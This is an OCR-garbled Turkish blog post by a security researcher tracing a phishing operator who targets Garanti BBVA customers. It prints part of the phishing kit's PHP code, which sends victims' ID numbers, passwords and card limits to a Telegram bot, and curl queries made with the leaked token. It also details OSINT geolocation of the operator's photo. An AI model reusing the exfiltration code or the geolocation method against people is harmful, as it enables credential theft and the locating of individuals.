Orada Bir Tehdit Aktoru
Var Uzakta

written by Mert SARICA | 1 March 2026
If you are looking for an English version of this article, please visit here.
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Baslangic

Son yillarda Operasyon Guvenligi (OPSEC) konusunda bilgisi veya endisesi
olmayan tehdit aktérleri ile bol bol sohbet eden (Ornekler: Tehdit Aktdriinin
Pesinde, Yatirim Dolandiricilari, WhatsApp Dolandiricilari) bir siber
guvenlik arastirmacisi olarak yine bir tehdit aktoru ile sohbet etme imkanim
oldu.

Bu yazinin hikayesi, bundan neredeyse bir yil 6énce, gerceklestirdigim bir
guvenlik arastirmasi esnasinda adini, soyadini, Garanti BBVA misterilerini
hedef almak amaciyla olusturdugu oltalama sitelerinde ve Telegram profilinde
kullanmaktan cekinmeyen, belki de bir siber givenlik arastirmacisinin bunu
elde edebilecegini aklinin ucundan ge¢irmeyen bir tehdit aktori ile
karsilasmam Uzerine basladi.

Tehdit Avi

SOCRadar Siber Tehdit Istihbarati Platformu lzerinde tespit edilen oltalama
siteleri lUzerinde tehdit avina ¢iktigim bir zamanda, grnt- ile baslayan lg¢
alan adi, grnt-avantajl.xyz, grnt-avantaj2.xyz ve grnt-avantaj4.xyz dikkatimi
cekti.


https://www.mertsarica.com/orada-bir-tehdit-aktoru-var-uzakta/
https://www.mertsarica.com/orada-bir-tehdit-aktoru-var-uzakta/
https://www.hack4career.com/there-is-a-threat-actor-out-there/
https://www.mertsarica.com/opsec/
https://www.mertsarica.com/tehdit-aktorunun-pesinde/
https://www.mertsarica.com/tehdit-aktorunun-pesinde/
https://www.mertsarica.com/yatirim-dolandiricilari/
https://www.mertsarica.com/whatsapp-dolandiricilari/
https://www.garantibbva.com.tr/
https://socradar.io/products/extended-threat-intelligence/
https://urlscan.io/result/f61707b9-582f-4ac8-b87b-344c23f18127/
https://urlscan.io/result/885b9217-7f2e-4af8-95fc-3374ce3ac755/
https://urlscan.io/result/442490ca-593e-4751-bcbd-7a5cbab34894/

$¢Garanti BBVA

Litfen misgteri numaranizi ya da T.C. kimlik numaranizi ve size 6zel parolanizi girin.

TC Kimlik Numarasi

Sifre

unuttum.

Gilvenliginiz igin litfen asagidaki bilgilere dikkat edin.

Givenli bir Internet deneyimi ve gilncel viriisler hakkinda bilgi almak igin liitfen tiklayin.

Bagkasi adina mi1 iglem yapiyorsunuz? o
Tasarruf Mevduat Giivencesi b

Bu web siteleri lzerinde kisa bir arastirma yaptigimda tehdit aktérinin,
kaynak kodlarini garanticemal isimli bir klasdrde barindirdigini tespit
ettim. Kaynak kodlarini teker teker incelemeye basladigimda da cok gecmeden
Tehdit Aktorunin Pesinde baslikli blog yazimda oldugu gibi index.php
dosyasinda yer alan Telegram jetonu (token) hemen dikkatimi c¢ekti.

Name ~  Date Modified Kind

v [ assets Jan 10, 2025 at 13:38 Folder

> @ index Jan 10, 2025 at 13:39 Folder
B index.php Jan 10, 2025 at 15:26 PHP script
B success.php Jan 10, 2025 at 15:27 PHP script



https://www.mertsarica.com/tehdit-aktorunun-pesinde/

4» index.php

1 <?php
if ( ) {
telegramToken = '"Jl . "L .
|- &

chatID =

_ . _set('Europe/Istanbul');
currentDate = ('Y-m-d H:i:s');
ipAddress = ['REMOTE_ADDR'];

tc = el

password = ['password'];
gsm = ['gsm'];

limit = ['limit'];

(OF
data = (sresponse,
N (sdatal'data‘]1[0])) {
sperson = $datal['data'][0];
_ ([
status' => 'success',
adi' => $person['ADI'],
soyadi' => $person['SOYADI']
["ad"] = $person["ADI"];
["soyad"] = $person["SOYADI"];
} else {

}

(['error' => 'Kisi bulunamadi.'l);

message = "W <b>Yeni Kayit</b>\n
Ad Soyad: <b>". ["adi"]." ". ["soyadi"]."</b>\n" .
T.C. Kimlik: <b>$tc</b>\n
Sifre: <b>$password</b>\n
Telefon: <b>$gsm</b>\n
“Kart Limiti: <b>$limit</b>\n
'IP Adresi: <b>$ipAddress</b>\n" .
'‘Tarih: <b>$currentDate</b>";
url = "https://api.telegram.org/bot$telegramToken/sendMessage";

postFields = [
chat_id' => $chatID,
text' => $message,
parse_mode' => 'HTML
I;

Line 1, Column 7

‘. B | Desktop % curl -X GET "https://api.telegram.org/bot —~mm H m m /getMe?chat_id= mmm

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 252 100 252 (] 0 606 l) ==f==8=— ==f==f=— ——j=—f—— 607

: true,

: false,
: false,
: false,
: false

- Desktop % curl -X GET "https://api.telegram.org/bot == H S p—— = :/getChat?chat_id= m— | §q

N
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed

100 559 100 559 ] 0 1235 () ==B==8—— ==f=—d=— ——5==0== ilZk{]

: true,

Jeton uUzerinden Cemal’in Telegram hesabina ulasip soyadi bilgisi ve olasi
fotografi ile karsilastigimda ilk olarak gérdiklerimin sahte oldugunu
disundidm. Cunkld ben bu bilgilere ulasabiliyorsam kolluk kuvvetleri hayli




hayli ulasabilir ve cok gec¢cmeden Cemal yakayi ele verebilirdi.

Kotu yola diusen Cemal’in hatasindan ders ¢ikarmasi ve tovbe etmesi adina
Cemal’in soyadi bilgisi ve profil fotografi yazi boyunca sansirlenmistir.

Desktop % curl -X GET "https://api.telegram.org/bot mm m  /getChatAdministrators?chat_id= ms mm ' | iq

L _—
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 168 100 168 "] 0 414 0 —=f==l== =—f==f== —=H=—H— 415

: true,

: [
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RRO

Cemal gercekte yakalanmaktan endise etmeyen bir tehdit aktdérid miydu yoksa
geride biraktigi bilgi kiraintilari lzerinden yakalanabilecegine ihtimal
vermeyen bir tehdit aktdérl miydid? Bunu anlamak ic¢in ya Cemal ile direkt
iletisime gecip verdigi yanitlarla yetinecektim ya da Ac¢ik Kaynak Istihbarati
(OSINT) sayesinde bu kirintilardan yola c¢ikarak on bir arastirma yapip
dolayiyli yoldan bu soruya yanit bulmaya calisacaktim.

Zorlu yollari asindirmayi seven biri olarak pek tabii ikinci yolu tercih
ettim ve hemen kollari sivadim. Cemal’in isim ve soyadindan kayda deger bir

sonuca ulasamadiktan sonra profil fotografindan ilerlemeye karar verdim.


https://tr.wikipedia.org/wiki/A%C3%A7%C4%B1k_kaynak_istihbarat%C4%B1

Birinci Cinko

Cemal’in profil fotografinda, sag arka planda goziken apartmani Google Images
Uzerinde arattigimda Hepsiemlak platformunda yer alan satilik daire ilani ile
karsilastim. Bu ilanda yer alan daire Izmir’in Karsiyaka ilcesinde yer

aliyordu. Ozellikle Cemal’in profil fotografindaki apartmandaki 1zgarali orta

blok ile ilandaki birbirine epey benziyordu.

% google.com/search?gsessionid=,u™ el m TH " FH " o B0 § 1 ol dllam =l s I 1"om Bm %%

((social)  Social in

*a Translate

v
1 FEw ,
ai/g b -
G = g1 e W .55 -8 <
® Wikimedia 2 Zillow @ Hepsiemlak /

. File:Sevilla - Barrio de San Pablo ~ Miramar San Juan Condos & 171Square Meters Apartment
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hepsiemlak
A > ForSale > Izmir For Sale > Karsiyaka For Sale > Mavigehir For Sale > Apartment > 4762-4329

171 Square Meters Apartment For Sale in Karsiyaka, 1zmir

8.750.000 TRY ©
Izmir / Kargiyaka / Mavisehir Mah.
Listing No 4762-4329
Last Update Dat... 22-10-2024
Listing status For Sale
Residence Type Apartment
Property Struct... Daire
Number Of Room ... 4+1
Number of Bathr... 2

Gross/Net m?

171 m2/ 145 m2

Number of Floor... 18 Storey
Floor 17. Floor
Property Age 29 at Age
Heating Type Central
Fuel Type Gas

Loan Availabili... Available

L For Sale Apartment BH4+1 [3171 m? th Earnby Sharing iye peed Stat.. Condominium

Ilandan yola cikarak arastirmami derinlestirdigimde bu apartmanin Mavisehir
Pamukkale bloklarindan biri oldugun 6grendim.
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Daha sonra Cemal’in bu fotografi asagi yukari nerede ve ne zaman cektirdigi


https://maps.app.goo.gl/Zu5z5Hy3H2iZVUg69
https://maps.app.goo.gl/Zu5z5Hy3H2iZVUg69

sorusuna yanit aramaya karar verdim. Bunun icin de fotografin cekildigi
acidan ve apartmanda yer alan klimalarin konumlandirilmasindan faydalandim.

Mavisehir Pamukkale bloklarinin etrafinda Google Haritalar‘in Sokak GOridnumi
ile biraz gezindikten sonra profil fotografindaki apartmani bulabildim.

| Search Google Maps Q @ °

101 Aziz Nesin Blv.
izmi

@ Google Street View

more dates

Ikinci Cinko

Sira fotografin nereden ¢ekildigini bulmaya geldiginde cekim ac¢isindan
ilerdigimde apartmanin caprazinda bulunan MaviBahce alisveris merkezi
dikkatimi ¢ekti. Google Maps lzerindeki yorumlarda yer alan fotograflari

teker teker inceledikten sonra fotografin bu alisveris merkezinin ust

katindan cekildigini o6grenmis oldum.


https://www.google.com/maps
https://www.google.com/streetview/
https://maps.app.goo.gl/VqKq2es28FCutVTeA
https://www.mavibahce.com.tr/
https://maps.app.goo.gl/v7Yj3KkCBVdg2Va18
https://maps.app.goo.gl/v7Yj3KkCBVdg2Va18
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Son olarak fotografin asagi yukari ne zaman c¢ekildigini bulmaya geldiginde
yine profil fotografindan faydalanmaya karar verdim. Cemal’in tuttugu karton
bardaktaki RRO harflerini Google Images lzerinde arattigimda hizli servis
Italyan restoranlarindan Sbarro oldugunu 6§rendim.


https://www.sbarro.com.tr/
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Tombala

Daha sonra bu zincirin MaviBahce alisveris merkezinde bir subesi olup
olmadigini kontrol ettigimde, olmadigini 6grendim. Bu subenin asagi yukari ne
zaman kapandigini ogrenmek icin ise internet sitelerinin eski sirimlerini,
tasarimlarini ve iceriklerini arsivleyen Web Archive isimli kitdphanesinden
faydalanmaya karar verdim. Burada kisa bir arastirma yaptigimda bu subeye ait
arsivin 2024 yilinin Temmuz ayindan sonra bulunmadigini dolayisiyla
fotografin kuvvetle muhtemel bu tarihten daha sonra cekilmis olamayacagina
kanaat getirmis oldum. (Not: Sbarro, MaviBahce subesi 2025 yili icinde tekrar
acilmis olabilir)


https://web.archive.org/
https://web.archive.org/web/20240722053553/https://www.sbarro.com.tr/restoranlar-subeler/izmir/karsiyaka
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Mavibahce AVM

Mavisehir Aziz Nesin Bulvari No: 26 B
Blok 3.Kat No: 323 Mavibahge AVM
Karstyaka / izmir

44472 27
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Sonuc

Elde ettigim tim bu bilgiler 1si1ginda Cemal ile yazismaya basladim. Baslarda
soylediklerimi inkar etse de yazismalarin sonuna dogru onu tanidigi birinin
isletmedigini aksine islerin git gide ciddiye bindigini anlayan Cemal bir
anda sirra kadem bastxi.
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gecmis 8:57 AM v/

Ablana patlatayim mi seni simdi .54

Username @ = m = not found.

Ben de bu yaklasimindan yola ¢ikarak elde ettigim bilgilerin kuvvetle
muhtemel dogru olduguna kanaat getirmis ve bir bilgi kirintisindan yola
cikarak bir tehdit aktéori hakkinda Acik Kaynak Istihbarati (OSINT) ile nasil
yeni bilgiler elde edilebilecegini meraklilarina gostermis oldum.



https://tr.wikipedia.org/wiki/A%C3%A7%C4%B1k_kaynak_istihbarat%C4%B1

Bu 6rnek bir kez daha gosteriyor ki Operasyon Guvenligi (OPSEC) ihmali c¢ogu
zaman kucuk bir detay ile baslar. Tehdit aktérleri icin 6nemsiz gorinen her
ayrinti, bir siber glivenlik arastirmacisi icin baslangic¢ noktasi olabilir.

Bir sonraki yazida goOrismek dilegiyle herkese givenli ginler dilerim.
Not:

1. Bu yazi ayrica Pi Hediyem Var #20 oyununun ¢o6zum yolunu da icermektedir.


https://www.mertsarica.com/pi-hediyem-var-20/

